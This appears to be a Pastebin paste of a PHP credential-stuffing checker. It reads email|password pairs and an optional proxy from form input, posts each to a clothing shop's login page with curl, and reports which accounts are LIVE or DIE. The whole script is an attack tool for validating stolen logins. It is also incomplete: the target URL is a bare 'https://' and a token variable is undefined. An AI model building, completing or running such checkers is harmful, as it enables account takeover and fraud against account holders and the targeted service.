Advertisement
Guest User

Codigo

a guest
Jan 14th, 2019
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.59 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. ?>
  5. <?php
  6. date_default_timezone_set("Asia/Jakarta");
  7. $format = $_POST['mailpass'];
  8. $pisah = explode("|", $format);
  9. $sock = $_POST['sock'];
  10. $hasil = array();
  11.  
  12. if (!isset($format)) {
  13. header('location: ./');
  14. exit;
  15. }
  16. require 'includes/class_curl.php';
  17. if (isset($format)){
  18.  
  19. // cek wrong
  20. if ($pisah[1] == '' || $pisah[1] == null) {
  21. die('{"error":-1,"msg":"<font color=red><b>UNKNOWN</b></font> | Unable to checking"}');
  22. }
  23.  
  24. $curl = new curl();
  25. $curl->cookies('cookies/'.md5($_SERVER['REMOTE_ADDR']).'.txt');
  26. $curl->ssl(0, 2);
  27.  
  28. /* Login Form */
  29. $url = "https://";
  30. $page = $curl->get($url); // load the page
  31.  
  32. if ($page) {
  33.  
  34. /* PostData */
  35. $data = "_token=$token[' ']&_nothing_285c2cc1f6e3aeb9=&_snowman=%E2%98%83&username=$pisah[0]&password=$pisah[1]&login_action=login";
  36. $page = $curl->post($url, $data);
  37.  
  38. if (inStr($page, "El correo electrónico y/o la contraseña están incorrectos.")) {
  39. die('{"error":2,"msg":"<font color=red>DIE</font> | '.$pisah[0].' | '.$pisah[1].'"}');
  40.  
  41. } else if (!inStr($page, "Mi cuenta")) {
  42. die('{"error":0,"msg":"<font color=green>LIVE</font> | '.$pisah[0].' | '.$pisah[1].' | [ Acc : Beatriceclothing ]"}');
  43. } else {
  44. die('{"error":-1,"msg":"<font color=red>UNCHECK</font> | '.$pisah[0].' | '.$pisah[1].' "}');
  45. }
  46. } else {
  47. die('{"error":-1,"msg":"<font color=red>UNCHECK</font> | '.$pisah[0].' | '.$pisah[1].' | Unable To Connect "}');
  48. }
  49. }
  50.  
  51. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement